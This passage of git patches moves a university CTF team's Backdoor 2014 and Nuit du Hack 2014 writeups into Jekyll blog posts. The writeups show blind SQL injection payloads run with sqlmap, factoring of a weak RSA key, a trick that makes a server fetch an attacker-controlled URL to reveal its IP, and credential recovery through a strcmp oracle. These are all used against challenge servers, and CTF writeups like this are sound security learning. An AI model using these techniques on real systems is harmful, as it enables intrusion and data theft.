like. \ No newline at end of file diff --git a/index.md b/index.md index f8b5475..bade9fa 100644 --- a/index.md +++ b/index.md @@ -1,46 +1,16 @@ --- layout: page -title: Hello World! -tagline: Supporting tagline +title: SIGINT +tagline: "UCSD CTF" --- {% include JB/setup %} -Read [Jekyll Quick Start](http://jekyllbootstrap.com/usage/jekyll-quick-start.html) +Welcome to SIGINT -Complete usage and documentation available at: [Jekyll Bootstrap](http://jekyllbootstrap.com) - -## Update Author Attributes - -In `_config.yml` remember to specify your own data: - - title : My Blog =) - - author : - name : Name Lastname - email : blah@email.test - github : username - twitter : username - -The theme should reference these variables whenever needed. - -## Sample Posts - -This blog contains sample posts which help stage pages and blog data. -When you don't need the samples anymore just delete the `_posts/core-samples` folder. - - $ rm -rf _posts/core-samples - -Here's a sample "posts list". - -<ul class="posts"> +<div class="posts"> {% for post in site.posts %} - <li><span>{{ post.date | date_to_string }}</span> » <a href="{{ BASE_PATH }}{{ post.url }}">{{ post.title }}</a></li> + <h2 style="border-bottom: 1px solid #eee;"><a style="color:#444;" href="{{ BASE_PATH}}{{ post.url }}">{{post.title}}</a> <small>{{ post.tagline }}</small></h2> + <p style="margin-top: -10px;"><em>{{ post.date | date_to_string }}</em></p> + <p>{{ post.content }}</p> {% endfor %} -</ul> - -## To-Do - -This theme is still unfinished. If you'd like to be added as a contributor, [please fork](http://github.com/plusjade/jekyll-bootstrap)! -We need to clean up the themes, make theme usage guides with theme-specific markup examples. - - +</div> From 4d3111c40a2af90fc64d2398b78ea4e3375601c3 Mon Sep 17 00:00:00 2001 From: Jake M <jakemaskiewicz@gmail.com> Date: Mon, 7 Apr 2014 18:04:01 -0700 Subject: [PATCH 141/144] added backdoor2014 writeup --- _config.yml | 1 + .../2014-04-07-backdoor-2014-writeups.md | 166 +++++++++--------- .../images/backdoor2014}/backdoor.bmp | Bin .../images/backdoor2014}/backdoor3.png | Bin .../images/backdoor2014}/try.png | Bin .../images/backdoor2014}/try3.png | Bin backdoor2014/markdown8.css | 137 --------------- index.md | 3 +- 8 files changed, 84 insertions(+), 223 deletions(-) rename backdoor2014/backdoor2014.html => _posts/2014-04-07-backdoor-2014-writeups.md (81%) rename {backdoor2014 => assets/images/backdoor2014}/backdoor.bmp (100%) rename {backdoor2014 => assets/images/backdoor2014}/backdoor3.png (100%) rename {backdoor2014 => assets/images/backdoor2014}/try.png (100%) rename {backdoor2014 => assets/images/backdoor2014}/try3.png (100%) delete mode 100644 backdoor2014/markdown8.css diff --git a/_config.yml b/_config.yml index 2e0497b..5da5b19 100644 --- a/_config.yml +++ b/_config.yml @@ -5,6 +5,7 @@ permalink: /:categories/:year/:month/:day/:title exclude: [".rvmrc", ".rbenv-version", "README.md", "Rakefile", "changelog.md"] pygments: true +excerpt_separator: <!--more--> # Themes are encouraged to use these universal variables # so be sure to set them if your theme uses them. # diff --git a/backdoor2014/backdoor2014.html b/_posts/2014-04-07-backdoor-2014-writeups.md similarity index 81% rename from backdoor2014/backdoor2014.html rename to _posts/2014-04-07-backdoor-2014-writeups.md index b1c4fa8..abc7a02 100644 --- a/backdoor2014/backdoor2014.html +++ b/_posts/2014-04-07-backdoor-2014-writeups.md @@ -1,76 +1,79 @@ -<p><link rel='stylesheet' href='markdown8.css'/></p> - -<h1>Backdoor CTF 2014 Writeups</h1> - -<p>With reasonable brevity by SIGINT </p> - -<p><a id="crypto10"></a></p> - -<h2>Crypto 10</h2> - -<pre><code>[andrew@archa backdoor]$ binwalk -e crypto10.jpg - -DECIMAL HEX DESCRIPTION ------------------------------------------------------------ -0 0x0 JPEG image data, JFIF standard 1.01 -40804 0x9F64 Zip archive data, name: "got2.jpg" -73941 0x120D5 End of Zip archive - -[andrew@archa _crypto10.jpg.extracted]$ binwalk -e got2.jpg - -DECIMAL HEX DESCRIPTION ------------------------------------------------------------ -0 0x0 JPEG image data, JFIF standard 1.02 -33587 0x8333 Zip archive data, name: "txt.txt" -33761 0x83E1 End of Zip archive - -[andrew@archa _got2.jpg.extracted]$ cat txt.txt -6307834008eb8edbe18c7a20ee4a909d -</code></pre> - -<p><a id="crypto100"></a></p> - -<h2>Crypto 100</h2> - -<pre><code>[andrew@archa backdoor]$ hexdump -C ciphertext.txt -00000000 0c 08 d1 e9 22 a6 12 49 20 45 73 2b 00 a5 46 40 |...."..I Es+..F@| -00000010 cb 25 2e 2e 84 f0 75 8a f3 87 d6 0c |.%....u.....| -0000001c - -[andrew@archa backdoor]$ openssl rsa -in id.pub -pubin -text -Public-Key: (220 bit) -Modulus: - 0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22:64:77: - 28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b -Exponent: 65537 (0x10001) -writing RSA key ------BEGIN PUBLIC KEY----- -MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDAnn7Hjy+K2plTRIImR3KBsJnRg1cCtN -5QddawIDAQAB ------END PUBLIC KEY----- -</code></pre> - -<p><a href="http://en.wikipedia.org/wiki/RSA_Factoring_Challenge">This page</a> shows that factoring a 330-bit key was possible in 1991. Absent any other weaknesses, it seems that all we have to do is factor the modulus of the public key. Here I use CADO-NFS to factor the modulus.</p> - -<pre><code>>>> int('0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22: \ -... 64:77:28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b'.replace(':',''),16) -1267822572326555807122159576684530178338449545988069238646937967979L - -[andrew@archa backdoor]$ /usr/libexec/cado-nfs/bin/factor.sh 1267822572326555807122159576684530178338449545988069238646937967979 -< math omitted > -Info:Complete Factorization: Total cpu/real time for everything: 230.48/248.437 -1162435056374824133712043309728653 1090660992520643446103273789680343 -OK -</code></pre> - -<p>I have a local script to generate an RSA private key file from provided p and q values, but it's possible to use an online generator if you are less paranoid.</p> +--- +layout: post +title: "Backdoor 2014 Writeups" +description: "" +category: Writeups +tags: [backdoor2014] +--- +<!--{% include JB/setup %}--> + +### Crypto 10 + + [andrew@archa backdoor]$ binwalk -e crypto10.jpg + + DECIMAL HEX DESCRIPTION + ----------------------------------------------------------- + 0 0x0 JPEG image data, JFIF standard 1.01 + 40804 0x9F64 Zip archive data, name: "got2.jpg" + 73941 0x120D5 End of Zip archive + + [andrew@archa _crypto10.jpg.extracted]$ binwalk -e got2.jpg + + DECIMAL HEX DESCRIPTION + ----------------------------------------------------------- + 0 0x0 JPEG image data, JFIF standard 1.02 + 33587 0x8333 Zip archive data, name: "txt.txt" + 33761 0x83E1 End of Zip archive + + [andrew@archa _got2.jpg.extracted]$ cat txt.txt + 6307834008eb8edbe18c7a20ee4a909d + +<!--more--> + +### Crypto 100 + + [andrew@archa backdoor]$ hexdump -C ciphertext.txt + 00000000 0c 08 d1 e9 22 a6 12 49 20 45 73 2b 00 a5 46 40 |...."..I Es+..F@| + 00000010 cb 25 2e 2e 84 f0 75 8a f3 87 d6 0c |.%....u.....| + 0000001c + + [andrew@archa backdoor]$ openssl rsa -in id.pub -pubin -text + Public-Key: (220 bit) + Modulus: + 0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22:64:77: + 28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b + Exponent: 65537 (0x10001) + writing RSA key + -----BEGIN PUBLIC KEY----- + MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDAnn7Hjy+K2plTRIImR3KBsJnRg1cCtN + 5QddawIDAQAB + -----END PUBLIC KEY----- + + +[This page](http://en.wikipedia.org/wiki/RSA_Factoring_Challenge) shows that +factoring a 330-bit key was possible in 1991. Absent any other weaknesses, it +seems that all we have to do is factor the modulus of the public key. Here I use +CADO-NFS to factor the modulus. + + >>> int('0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22: \ + ... 64:77:28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b'.replace(':',''),16) + 1267822572326555807122159576684530178338449545988069238646937967979L + + [andrew@archa backdoor]$ /usr/libexec/cado-nfs/bin/factor.sh 1267822572326555807122159576684530178338449545988069238646937967979 + < math omitted > + Info:Complete Factorization: Total cpu/real time for everything: 230.48/248.437 + 1162435056374824133712043309728653 1090660992520643446103273789680343 + OK + +I have a local script to generate an RSA private key file from provided p and q +values, but it's possible to use an online generator if you are less +paranoid. + + [andrew@archa backdoor]$ wget "http://rose.makesad.us/~schoen/cgi-bin/private-from-pq.cgi?1162435056374824133712043309728653&1090660992520643446103273789680343" -O id.pem + [andrew@archa backdoor]$ openssl rsautl -decrypt -inkey id.pem < ciphertext.txt + random_prime_gen -<pre><code>[andrew@archa backdoor]$ wget "http://rose.makesad.us/~schoen/cgi-bin/private-from-pq.cgi?1162435056374824133712043309728653&1090660992520643446103273789680343" -O id.pem -[andrew@archa backdoor]$ openssl rsautl -decrypt -inkey id.pem < ciphertext.txt -random_prime_gen -</code></pre> -<p><a id="web10"></a></p> <h2>Web 10</h2> @@ -97,8 +100,6 @@ <h2>Web 10</h2> <p>Do you spot the flag?</p> -<p><a id="web30"></a></p> - <h2>Web 30</h2> <pre><code>[andrew@archa ~]$ curl http://backdoor.cognizance.org.in/problems/web30/ -D - -o /dev/null @@ -123,8 +124,6 @@ <h2>Web 30</h2> Here is a flag : aeba37a3aaffc93567a61d9a67466fdf </code></pre> -<p><a id="web50"></a></p> - <h2>Web 50</h2> <p>The PHP script appears to be running a SQL query of the form <code>SELECT FROM QUOTES WHERE quote LIKE '$search';</code></p> @@ -135,7 +134,7 @@ <h2>Web 50</h2> <pre><code>sqlmap -u http://backdoor.cognizance.org.in/problems/web50/search.php --data="search=f" --tables --threads 10 --exclude-sysdbs ---- +\--- Place: POST Parameter: search Type: boolean-based blind @@ -145,7 +144,7 @@ <h2>Web 50</h2> Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: search=f%' AND SLEEP(5) AND '%'=' ---- +\--- Database: sqli_db [2 tables] @@ -169,7 +168,6 @@ <h2>Web 50</h2> +----------------------------------+ </code></pre> -<p><a id="web100-1"></a></p> <h2>Web 100-1</h2> @@ -203,8 +201,6 @@ <h2>Web 100-1</h2> </html> </code></pre> -<p><a id="web300"></a></p> - <h2>Web 300</h2> <p>This problem gives you an interface to check whether a user has registered <a href="http://backdoor.cognizance.org.in/problems/web300/status.php">here</a>. </p> @@ -308,7 +304,6 @@ <h2>Web 300</h2> +----------------------------------+ </code></pre> -<p><a id="misc250-2"></a></p> <h2>Misc 250-2</h2> @@ -323,7 +318,7 @@ <h2>Misc 250-2</h2> Login as the sdslabs user for a change.</p> </blockquote> -<p><img src="backdoor.bmp" alt="backdoor" title="login for backdoor user" /></p> +<p><img src="/assets/images/backdoor2014/backdoor.bmp" alt="backdoor" title="login for backdoor user" /></p> <p>The first thing that comes to mind is changing the threshold of the image, but that did not do anything. OCR also came to mind, but after spending some time @@ -336,7 +331,7 @@ <h2>Misc 250-2</h2> other colors in it. This was because the text in the image was anti-aliased, so I painted over the text with #000000 and it still logged me in as the user backdoor. </p> -<p><img src="try.png" alt="backdoor2" title="this also logs you in as the user backdoor" /></p> +<p><img src="/assets/images/backdoor2014/try.png" alt="backdoor2" title="this also logs you in as the user backdoor" /></p> <p>But the image was still not all black, so I examined the pixels again and found that they were all either #000000 or #010101. Hmmmm, it just might be a binary @@ -352,7 +347,7 @@ <h2>Misc 250-2</h2> top row. I made a new image with all the pixels changed to #123456 except for the ones in the top row and successfully logged in using it.</p> -<p><img src="backdoor3.png" alt="backdoor3" title="this also logs you in" /></p> +<p><img src="/assets/images/backdoor2014/backdoor3.png" alt="backdoor3" title="this also logs you in" /></p> <p>I continued changing everything but the first x pixels of the image to #123456 and it turned out the server would accept the image if the first 80 pixels were @@ -382,4 +377,5 @@ <h2>Misc 250-2</h2> <p>Then I submitted this image to log in as sdslabs and capture the flag.</p> -<p><img src="try3.png" alt="for_flag" title="sdslabs login image" /></p> +<p><img src="/assets/images/backdoor2014/try3.png" alt="for_flag" title="sdslabs login image" /></p> + diff --git a/backdoor2014/backdoor.bmp b/assets/images/backdoor2014/backdoor.bmp similarity index 100% rename from backdoor2014/backdoor.bmp rename to assets/images/backdoor2014/backdoor.bmp diff --git a/backdoor2014/backdoor3.png b/assets/images/backdoor2014/backdoor3.png similarity index 100% rename from backdoor2014/backdoor3.png rename to assets/images/backdoor2014/backdoor3.png diff --git a/backdoor2014/try.png b/assets/images/backdoor2014/try.png similarity index 100% rename from backdoor2014/try.png rename to assets/images/backdoor2014/try.png diff --git a/backdoor2014/try3.png b/assets/images/backdoor2014/try3.png similarity index 100% rename from backdoor2014/try3.png rename to assets/images/backdoor2014/try3.png diff --git a/backdoor2014/markdown8.css b/backdoor2014/markdown8.css deleted file mode 100644 index 076c531..0000000 --- a/backdoor2014/markdown8.css +++ /dev/null @@ -1,137 +0,0 @@ -h1, h2, h3, h4, h5, h6, p, blockquote { - margin: 0; - padding: 0; -} -body { - font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", Arial, sans-serif; - font-size: 13px; - line-height: 18px; - color: #737373; - background-color: white; - margin: 10px 13px 10px 13px; -} -table { - margin: 10px 0 15px 0; - border-collapse: collapse; -} -td,th { - border: 1px solid #ddd; - padding: 3px 10px; -} -th { - padding: 5px 10px; -} - -a { - color: #0069d6; -} -a:hover { - color: #0050a3; - text-decoration: none; -} -a img { - border: none; -} -p { - margin-bottom: 9px; -} - -h1, h2, h3, h4, h5, h6 { - color: #404040; - line-height: 36px; -} -h1 { - margin-bottom: 18px; - font-size: 30px; -} -h2 { - margin-top: 72px; - font-size: 24px; -} -h3 { - font-size: 18px; -} -h4 { - font-size: 16px; -} -h5 { - font-size: 14px; -} -h6 { - font-size: 13px; -} -hr { - margin: 0 0 19px; - border: 0; - border-bottom: 1px solid #ccc; -} -blockquote { - padding: 13px 13px 21px 15px; - margin-bottom: 18px; - font-family:georgia,serif; - font-style: italic; -} -blockquote:before { - content:"\201C"; - font-size:40px; - margin-left:-10px; - font-family:georgia,serif; - color:#eee; -} -blockquote p { - font-size: 14px; - font-weight: 300; - line-height: 18px; - margin-bottom: 0; - font-style: italic; -} -code, pre { - font-family: Monaco, Andale Mono, Courier New, monospace; -} -code { - background-color: #fee9cc; - color: rgba(0, 0, 0, 0.75); - padding: 1px 3px; - font-size: 12px; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; -} -pre { - display: block; - padding: 14px; - margin: 0 0 18px; - line-height: 16px; - font-size: 11px; - border: 1px solid #d9d9d9; - white-space: pre-wrap; - word-wrap: break-word; -} -pre code { - background-color: #fff; - color:#737373; - font-size: 11px; - padding: 0; -} -sup { - font-size: 0.83em; - vertical-align: super; - line-height: 0; -} -* { - -webkit-print-color-adjust: exact; -} -@media screen and (min-width: 914px) { - body { - width: 640px; - margin:10px auto; - } -} -@media print { - body,code,pre code,h1,h2,h3,h4,h5,h6 { - color: black; - } - table, pre { - page-break-inside: avoid; - } -} diff --git a/index.md b/index.md index bade9fa..bd7cadc 100644 --- a/index.md +++ b/index.md @@ -11,6 +11,7 @@ Welcome to SIGINT {% for post in site.posts %} <h2 style="border-bottom: 1px solid #eee;"><a style="color:#444;" href="{{ BASE_PATH}}{{ post.url }}">{{post.title}}</a> <small>{{ post.tagline }}</small></h2> <p style="margin-top: -10px;"><em>{{ post.date | date_to_string }}</em></p> - <p>{{ post.content }}</p> + <p>{{ post.excerpt }}</p> + <p><strong><a href="{{ post.url }}">Read more...</a></strong></p> {% endfor %} </div> From a132413c7768936d2a5683c17317a8032f083664 Mon Sep 17 00:00:00 2001 From: Jake M <jakemaskiewicz@gmail.com> Date: Mon, 7 Apr 2014 18:09:55 -0700 Subject: [PATCH 142/144] Added nuitduhack2014 writeups --- _posts/2014-04-07-backdoor-2014-writeups.md | 14 +- .../2014-04-07-nuit-du-hack-2014-writeups.md | 37 ++-- .../images/nuitduhack2014}/kitty-waveform.png | Bin .../images/nuitduhack2014}/morse.png | Bin nuitduhack2014/index.html | 158 ------------------ nuitduhack2014/markdown8.css | 137 --------------- 6 files changed, 22 insertions(+), 324 deletions(-) rename nuitduhack2014/writeups.md => _posts/2014-04-07-nuit-du-hack-2014-writeups.md (94%) rename {nuitduhack2014 => assets/images/nuitduhack2014}/kitty-waveform.png (100%) rename {nuitduhack2014 => assets/images/nuitduhack2014}/morse.png (100%) delete mode 100644 nuitduhack2014/index.html delete mode 100644 nuitduhack2014/markdown8.css diff --git a/_posts/2014-04-07-backdoor-2014-writeups.md b/_posts/2014-04-07-backdoor-2014-writeups.md index abc7a02..07fbced 100644 --- a/_posts/2014-04-07-backdoor-2014-writeups.md +++ b/_posts/2014-04-07-backdoor-2014-writeups.md @@ -75,7 +75,7 @@ paranoid. -<h2>Web 10</h2> +<h3>Web 10</h3> <pre><code>[andrew@archa ~]$ curl -v http://backdoor.cognizance.org.in/problems/web10/ * Hostname was NOT found in DNS cache @@ -100,7 +100,7 @@ paranoid. <p>Do you spot the flag?</p> -<h2>Web 30</h2> +<h3>Web 30</h3> <pre><code>[andrew@archa ~]$ curl http://backdoor.cognizance.org.in/problems/web30/ -D - -o /dev/null Date: Sun, 23 Mar 2014 02:05:23 GMT @@ -124,7 +124,7 @@ Sorry , you will never get a flag in your life :P Not authorized Here is a flag : aeba37a3aaffc93567a61d9a67466fdf </code></pre> -<h2>Web 50</h2> +<h3>Web 50</h3> <p>The PHP script appears to be running a SQL query of the form <code>SELECT FROM QUOTES WHERE quote LIKE '$search';</code></p> @@ -169,7 +169,7 @@ Table: the_flag_is_over_here </code></pre> -<h2>Web 100-1</h2> +<h3>Web 100-1</h3> <p>The server has to retrieve the picture in order to rate it, right? Does it do anything else? Let's listen on port 80 on any server:</p> @@ -194,14 +194,14 @@ Table: the_flag_is_over_here <title>Super Secret Page</title> </head> <body> - <h2>Super secret page</h2> + <h3>Super secret page</h3> <p>This is a dangerous place. You shouldn't be lurking here. Click <a id="./submit.php">here</a> to go back.</p> <!-- By the way, the flag is f556b9a48a3ee914f291f9b98645cb02 --> </body> </html> </code></pre> -<h2>Web 300</h2> +<h3>Web 300</h3> <p>This problem gives you an interface to check whether a user has registered <a href="http://backdoor.cognizance.org.in/problems/web300/status.php">here</a>. </p> @@ -305,7 +305,7 @@ Table: the_elusive_flag </code></pre> -<h2>Misc 250-2</h2> +<h3>Misc 250-2</h3> <blockquote> <p>Username and password based login seemed a bit too monotonous. We developed an diff --git a/nuitduhack2014/writeups.md b/_posts/2014-04-07-nuit-du-hack-2014-writeups.md similarity index 94% rename from nuitduhack2014/writeups.md rename to _posts/2014-04-07-nuit-du-hack-2014-writeups.md index 11841d1..174b716 100644 --- a/nuitduhack2014/writeups.md +++ b/_posts/2014-04-07-nuit-du-hack-2014-writeups.md @@ -1,11 +1,13 @@ -<link rel='stylesheet' href='markdown8.css'/> +--- +layout: post +title: "Nuit Du Hack Quals 2014 Writeups" +description: "" +category: writeups +tags: [nuitduhack2014] +--- +<!--{% include JB/setup %}--> -Nuit Du Hack Quals 2014 Writeups -================================ -<a id="carbonara"></a> - -Carbonara ---------- +### Carbonara We're provided the following cryptic string: @@ -40,9 +42,7 @@ No need to reverse-engineer this; we can simply use it in the javascript console tncms.unscramble('%96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]') "The flag for this chal is :"Imperator Iulius Caesar Divus"." -<a id="onionrings"></a> -Onion Rings ------------ +### Onion Rings The hidden service accepts a profile picture upload, and includes the option to load from a non-TOR URL. So, we can ask it to load from our server, and capture the IP of the requestor. @@ -52,10 +52,7 @@ The server's IP was 212.83.153.197. Visiting [http://212.83.153.197/](http://212 The flag.. It is '0hSh1t1r4n0ut0fn00dl35' -<a id="windowsforensics"></a> - -Windows Forensics ------------------ +### Windows Forensics We are given a 400MB Windows pagefile. A few initial attempts along the lines of `strings pagefile.sys | grep flag` turned up quite a lot of results, but no interesting ones. Noticing several Chrome-related strings, we searched the file for URLs. Still, we found nothing interesting. @@ -88,20 +85,17 @@ Then, ran page_brute on pagefile.sys and reviewed the results using `strings -el Neither the password nor either of the two hex strings were the flag, so we tried concatenating the two hex strings. `04c0f778e6dd6c0a025e48c9f5f22f87` was the flag. The lowercase flag format gave us a hint for Here Kitty Kitty. -<a id="herekittykitty"></a> -Here Kitty Kitty ----------------- +### Here Kitty Kitty In lieu of a writeup, we offer the following two images, and leave the solution as an exercise to the reader: - + - + Unfortunately, `5BC925649CB0188F52E617D70929191C` was not accepted. We tried HashCat dictionary and bruteforce attacks without success. After solving Windows Forensics, we tried submitting as lowercase, which was successful. Case-sensitivity isn't fun! -BigMomma --------- +### BigMomma Though we had the server binary, and briefly attempted to reverse it, we were able to identify how it worked by playing around with it for a few minutes. @@ -147,4 +141,3 @@ Though a script ultimately would have been a better idea, we figured at this poi 4dM1N15TR4T0R Username correct, what is the password?THEpasswordISreallyLONGbutYOUllGETtoTHEendOFitEVENTUALLY Well done! Here is the flag: YoMamaIsLikeHTML,SmallHeadAndHugeBody - diff --git a/nuitduhack2014/kitty-waveform.png b/assets/images/nuitduhack2014/kitty-waveform.png similarity index 100% rename from nuitduhack2014/kitty-waveform.png rename to assets/images/nuitduhack2014/kitty-waveform.png diff --git a/nuitduhack2014/morse.png b/assets/images/nuitduhack2014/morse.png similarity index 100% rename from nuitduhack2014/morse.png rename to assets/images/nuitduhack2014/morse.png diff --git a/nuitduhack2014/index.html b/nuitduhack2014/index.html deleted file mode 100644 index 788fe64..0000000 --- a/nuitduhack2014/index.html +++ /dev/null @@ -1,158 +0,0 @@ -<p><link rel='stylesheet' href='markdown8.css'/></p> - -<h1>Nuit Du Hack Quals 2014 Writeups</h1> - -<p><a id="carbonara"></a></p> - -<h2>Carbonara</h2> - -<p>We're provided the following cryptic string:</p> - -<pre><code>%96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ] -</code></pre> - -<p>Googling a few of these fragments turns up a multitude of news articles using a "tncms" package. <a href="http://www.timesdispatch.com/news/local/central-virginia/a-pow-son-s--year-quest-finally-unfurls/article_3693659c-4788-516c-8c73-1c8defc13efa.html?mode=jqm">This</a> is one such page. Examining the source we find similar gibberish in the body of the article:</p> - -<pre><code> <div class="encrypted-content" style="display: none"> - <span class="paragraph4"> - kAm{2?5CF&gt; 6G6?EF2==J &gt;256 :E 9@&gt;6] qFE E96 7=28 96 96=A65 E@ D64C6E=J 4C62E6 2?5 =2E6C H2G65 :? 2? :4@?:4 A9@E@8C2A9 E2&lt;6? 2D 96 2?5 9:D 76==@H !~(D H6C6 =:36C2E65 @? pF8] ah[ `hcd[ G2?:D965 @G6C E:&gt;6]k^Am - </span> - </div> -</code></pre> - -<p>We also find a link to a <code>decrypt.js</code> link in the body of the article. Near the bottom is the following function:</p> - -<pre><code>tncms.unscramble = function (sInput) { - var sOutput = ''; - for (var i = 0, c = sInput.length; i < c; i++) { - var nChar = sInput.charCodeAt(i); - if (nChar >= 33 && nChar <= 126) { - sTmp = String.fromCharCode(33 + (((nChar - 33) + 47) % 94)); - sOutput += sTmp - } else { - sOutput += sInput.charAt(i) - } - } - return sOutput -}; -</code></pre> - -<p>No need to reverse-engineer this; we can simply use it in the javascript console to unscramble our string:</p> - -<pre><code>tncms.unscramble('%96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]') -"The flag for this chal is :"Imperator Iulius Caesar Divus"." -</code></pre> - -<p><a id="onionrings"></a></p> - -<h2>Onion Rings</h2> - -<p>The hidden service accepts a profile picture upload, and includes the option to load from a non-TOR URL. So, we can ask it to load from our server, and capture the IP of the requestor. </p> - -<p>As <a href="http://sigint.ru/backdoor2014/backdoor2014.html#web100-1">before</a>, we can listen on port 80 on a server and submit our server's URL.</p> - -<p>The server's IP was 212.83.153.197. Visiting <a href="http://212.83.153.197/">http://212.83.153.197/</a> and searching for <code>flag</code>, we find:</p> - -<pre><code>The flag.. It is '0hSh1t1r4n0ut0fn00dl35' -</code></pre> - -<p><a id="windowsforensics"></a></p> - -<h2>Windows Forensics</h2> - -<p>We are given a 400MB Windows pagefile. A few initial attempts along the lines of <code>strings pagefile.sys | grep flag</code> turned up quite a lot of results, but no interesting ones. Noticing several Chrome-related strings, we searched the file for URLs. Still, we found nothing interesting. </p> - -<p>Then, we reread the problem more carefully and saw that our task was to recover a command prompt session. Searching for command prompt pagefile.sys forensics yielded <a href="http://blog.roberthaist.com/2013/12/restoring-windows-cmd-sessions-from-pagefile-sys-2/">this excellent guide</a>. He uses <code>page_brute</code>, which splits the pagefile into 4096-byte pages and processes each with YARA. Installation of YARA proved the most difficult part of this challenge. Once YARA was installed, I added the following rule to page<em>brute's default</em>signatures.yar:</p> - -<pre><code>rule CMDscan_Optimistic_Blanklines -{ - meta: - author="Robert Haist | @SleuthKid" - description="Searching for blank lines and magic bytes that occur with paged cmd usage" - strings: - $m1 = { 63 3A 79 26 7B } - $m2 = { 77 00 27 00 57 00 27 00 77 00 } - $m3 = { 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 } - condition: - any of them -} -</code></pre> - -<p>Then, ran page_brute on pagefile.sys and reviewed the results using <code>strings -el CMDscan_Optimistic_Blanklines/*| sed -e "s/\s\{4,\}/\\n/g"</code>. Inside, we find:</p> - -<pre><code> Microsoft Windows XP [version 5.1.2600] - (C) Copyright 1985-2001 Microsoft Corp. - C:\Documents and Settings\Administrateur>ncat 192.168.130.105 1234 - Username : JackTheRipper - Password : 200020012002 - 1337 - USER VALID - 1338 - 04c0f778e6dd6c0a - 1338 - 025e48c9f5f22f87 - close: No error -</code></pre> - -<p>Neither the password nor either of the two hex strings were the flag, so we tried concatenating the two hex strings. <code>04c0f778e6dd6c0a025e48c9f5f22f87</code> was the flag. The lowercase flag format gave us a hint for Here Kitty Kitty.</p> - -<p><a id="herekittykitty"></a></p> - -<h2>Here Kitty Kitty</h2> - -<p>In lieu of a writeup, we offer the following two images, and leave the solution as an exercise to the reader:</p> - -<p><img src="kitty-waveform.png" alt="waveform" title="" /></p> - -<p><img src="morse.png" alt="morse code" title="" /></p> - -<p>Unfortunately, <code>5BC925649CB0188F52E617D70929191C</code> was not accepted. We tried HashCat dictionary and bruteforce attacks without success. After solving Windows Forensics, we tried submitting as lowercase, which was successful. Case-sensitivity isn't fun!</p> - -<h2>BigMomma</h2> - -<p>Though we had the server binary, and briefly attempted to reverse it, we were able to identify how it worked by playing around with it for a few minutes.</p> - -<pre><code> Please enter your username: - a - Nope (45) - - - Please enter your username: - b - Nope (46) -</code></pre> - -<p>So, if <code>a</code> returns 45 and <code>b</code> returns 46, what returns 0? </p> - -<pre><code>>>> chr(ord('a')-45) -'4' -</code></pre> - -<p>Let's try that:</p> - -<pre><code> Please enter your username: - 4 - Nope (-100) - - - Please enter your username: - 4a - Nope (-3) - - - Please enter your username: - 4d - Nope (-77) -</code></pre> - -<p>Apparently, we are provided the return value of the <code>strcmp</code> between our input and the correct username. So, we can derive the correct username one character at a time by converting the return value of the comparison between the terminating zero of our string, and the nonzero character of theirs. For example,</p> - -<pre><code> a = "4d\0" - b = "4dABCDEFGH" - strcmp(a, b) == ord('\0')-ord('A') -</code></pre> - -<p>Though a script ultimately would have been a better idea, we figured at this point that the username wasn't very long. So, we persevered manually with netcat and a Python interpreter. By this method, we discovered that the username was <code>4dM1N15TR4T0R</code>. Then, we had to find the password, for which we received the same feedback as before. In the end, we determined that the password was <code>THEpasswordISreallyLONGbutYOUllGETtoTHEendOFitEVENTUALLY</code>. </p> - -<pre><code>Please enter your username: -4dM1N15TR4T0R -Username correct, what is the password?THEpasswordISreallyLONGbutYOUllGETtoTHEendOFitEVENTUALLY -Well done! Here is the flag: YoMamaIsLikeHTML,SmallHeadAndHugeBody -</code></pre> diff --git a/nuitduhack2014/markdown8.css b/nuitduhack2014/markdown8.css deleted file mode 100644 index 076c531..0000000 --- a/nuitduhack2014/markdown8.css +++ /dev/null @@ -1,137 +0,0 @@ -h1, h2, h3, h4, h5, h6, p, blockquote { - margin: 0; - padding: 0; -} -body { - font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", Arial, sans-serif; - font-size: 13px; - line-height: 18px; - color: #737373; - background-color: white; - margin: 10px 13px 10px 13px; -} -table { - margin: 10px 0 15px 0; - border-collapse: collapse; -} -td,th { - border: 1px solid #ddd; - padding: 3px 10px; -} -th { - padding: 5px 10px; -} - -a { - color: #0069d6; -} -a:hover { - color: #0050a3; - text-decoration: none; -} -a img { - border: none; -} -p { - margin-bottom: 9px; -} - -h1, h2, h3, h4, h5, h6 { - color: #404040; - line-height: 36px; -} -h1 { - margin-bottom: 18px; - font-size: 30px; -} -h2 { - margin-top: 72px; - font-size: 24px; -} -h3 { - font-size: 18px; -} -h4 { - font-size: 16px; -} -h5 { - font-size: 14px; -} -h6 { - font-size: 13px; -} -hr { - margin: 0 0 19px; - border: 0; - border-bottom: 1px solid #ccc; -} -blockquote { - padding: 13px 13px 21px 15px; - margin-bottom: 18px; - font-family:georgia,serif; - font-style: italic; -} -blockquote:before { - content:"\201C"; - font-size:40px; - margin-left:-10px; - font-family:georgia,serif; - color:#eee; -} -blockquote p { - font-size: 14px; - font-weight: 300; - line-height: 18px; - margin-bottom: 0; - font-style: italic; 